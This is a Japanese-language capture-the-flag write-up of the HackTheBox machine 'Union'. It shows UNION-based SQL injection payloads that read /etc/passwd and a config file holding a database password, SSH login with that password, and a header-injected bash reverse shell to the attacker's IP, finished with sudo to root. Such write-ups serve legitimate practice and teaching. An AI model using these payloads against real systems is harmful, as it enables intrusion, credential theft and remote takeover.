🔥

HackTheBox Union

2022/11/21に公開

Union

侵入

nmap

┌──(kali㉿kali)-[~/Desktop/Union]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.128 -oN nmap.log
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

80番ポートのみを確認

web


見たことある感じのWebサイトを発見
試しに、「test」と入力してみる

大会に出場してくださいというメッセージと共に、入力した「test」が出力されている

色々試していると、入力がエスケープされていないことが判明した

さらに、ippsec(ボックスの作成者)を入力することで、既に存在するという出力が見られた
この出力から、SQL が発行されていそうだと予想できる

SQL インジェクションが発火するか試したが、特にエラーは見られなかった

SQL インジェクション

基本的な攻撃を試したが、発火しなかったので、ダメ元で、or 1 = 1 -- - を入力

一見何も変わらないように見えるが、リンクが出力されていないことを確認
少し怪しいので、調査を進めていく

上記のように、「or 1 = 1」 をつけない場合、通常の Sorry の出力が見られた
これが表すのは、入力全体が SQL として解釈されているということである

player=' UNION select 1;-- -

UNION による情報取得を試みるために、上記のリクエストを送信

Sorry, 1 you are not eligible due to already qualifying.

レスポンスとして、1のみが表示されたため、UNION を使用できたことがわかる

player=' UNION select group_concat(SCHEMA_NAME) from INFORMATION_SCHEMA.schemata;-- -

UNION を使用し、データベースを検索する

mysql,information_schema,performance_schema,sys,november

通常のデータベースと合わせて、november というデータベースを確認

player=' union select group_concat(table_name) from INFORMATION_SCHEMA.tables where table_schema='november';-- -

次に、november にどのようなテーブルがあるか検索する

flag,players

テーブルとして、flag と players を発見

player=' union select * from flag;-- -

フラグを取得するために、flag テーブル内を検索

UHC{F1rst_5tep_2_Qualify}

フラグが取得できた

フラグを入力する画面で、取得した文字列を入力

今回のボックスは、80番しか開いてなかったが、SSHアクセスを許可するような表示が見られた

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

再度、nmap でポートスキャンを行うと、22番が確認できた
次は、ssh に使用できる情報がないかを調べていく

player=' union select load_file('/etc/passwd');-- - 

まず、先にユーザの存在を確認する

root:x:0:0:root:/root:/bin/bash
htb:x:1000:1000:htb:/home/htb:/bin/bash
uhc:x:1001:1001:,,,:/home/uhc:/bin/bash

多くのユーザが確認できたが、/home ディレクトリに存在する uhc と htb ユーザに注目
どちらかのユーザの認証情報が欲しい

player=' union select load_file('/var/www/html/config.php');-- - 

認証情報といえば、config.php を確認

<?php
  session_start();
  $servername = "127.0.0.1";
  $username = "uhc";
  $password = "uhc-11qual-global-pw";
  $dbname = "november";

  $conn = new mysqli($servername, $username, $password, $dbname);
?>

パスワードを発見

uhc としてのシェル

SSH

┌──(kali㉿kali)-[~/Desktop/Union]
└─$ ssh uhc@10.10.11.128
uhc@10.10.11.128's password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Nov  8 21:19:42 2021 from 10.10.14.8
uhc@union:~$ whoami
uhc

侵入成功

user フラグ

uhc@union:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

フラグ取得

列挙

firewall.php

権限昇格に繋がりそうな情報が見つからなかったので、ソースコードを見てみる

<?php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>

すると、firewall.php で system 関数が使用されていることがわかる
また、HTTP_X_FORWARDED_FOR パラメータは $ip として入力値がそのまま使用されている

GET /firewall.php HTTP/1.1
Host: union.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=ioag2pmd10auddmglucitibmro
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-FORWARDED-FOR: 1.1.1.1; ping -c 1 10.10.14.12;

これを使用し、リバースシェルを取得するために、ping を実行できるか試してみる

┌──(kali㉿kali)-[~/Desktop/Union]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
23:40:38.190592 IP union.htb > 10.10.14.12: ICMP echo request, id 2, seq 1, length 64
23:40:38.190644 IP 10.10.14.12 > union.htb: ICMP echo reply, id 2, seq 1, length 64

tcpdump で待ち受けると、通信を確認できたことから、ping が使えたことがわかる

www-data としてのシェル

bash

先ほどの、ping を bash に変更し、リバースシェルの取得を試みる

GET /firewall.php HTTP/1.1
Host: union.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=ioag2pmd10auddmglucitibmro
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-FORWARDED-FOR: 1.1.1.1; bash -c "bash -i >& /dev/tcp/10.10.14.12/5555 0>&1";

Burp Suiteでうまくいかない場合は、curl コマンドなども使用してみるとよい

┌──(kali㉿kali)-[~/Desktop/Union]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.128] 36216
bash: cannot set terminal process group (793): Inappropriate ioctl for device
bash: no job control in this shell
www-data@union:~/html$ whoami
whoami
www-data

www-data のシェルを取得することに成功

権限昇格

sudo

www-data@union:~/html$ sudo -l
Matching Defaults entries for www-data on union:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on union:
    (ALL : ALL) NOPASSWD: ALL

なんと、sudo が許可されている

root としてのシェル

su

www-data@union:~/html$ sudo su 
root@union:/var/www/html# whoami
root

権限昇格成功

root フラグ

root@union:~# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

フラグ取得

所感

今回のボックスは、SQLインジェクションが主になっており、今まで知識を活かした攻略ができたので楽しかった。MEDIUMなのに、sudoが使えてしまうのにはびっくりしたが、とてもいいボックスだったと思う。

Discussion